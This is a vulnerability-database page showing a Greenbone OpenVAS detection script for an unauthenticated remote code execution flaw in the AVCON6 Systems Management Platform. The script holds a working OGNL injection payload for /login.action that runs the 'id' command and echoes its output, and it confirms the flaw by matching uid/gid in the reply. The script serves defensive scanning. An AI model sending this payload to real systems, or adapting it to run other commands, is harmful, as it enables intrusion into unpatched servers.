Lucene search
+L

AVCON6 Systems Management Platform RCE Vulnerability

🗓️ 23 Sep 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 28 Views

AVCON6 Systems Management Platform RCE Vulnerability. Remote code execution (RCE) vulnerability allows unauthenticated attacker to execute arbitrary code on the system

Refs
Code
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:epross:avcon6_system_management_platform";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.142919");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2019-09-23 07:28:52 +0000 (Mon, 23 Sep 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("AVCON6 Systems Management Platform RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_avcon_systems_management_platform_detect.nasl");
  script_mandatory_keys("avcon_smp/detected");

  script_tag(name:"summary", value:"AVCON6 Systems Management Platform is prone to a remote code
  execution (RCE) vulnerability.");

  script_tag(name:"impact", value:"An unauthenticated attacker may execute arbitrary code on the system.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/47379");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (! get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/login.action?redirect:" +
      "${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22id%22}))." +
      "start(),%23b%3d%23a.getInputStream()," +
      "%23c%3dnew%20java.io.InputStreamReader(%23b)," +
      "%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d" +
      ".read(%23e),%23matt%3d%23context." +
      "get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)," +
      "%23matt.getWriter().println(%23e),%23matt." +
      "getWriter().flush(),%23matt.getWriter()" +
      ".close()}";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (res =~ "uid=[0-9]+.*gid=[0-9]+.*") {
  report = 'It was possible to execute the "id" command.\n\nResult:\n\n' + chomp(res);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation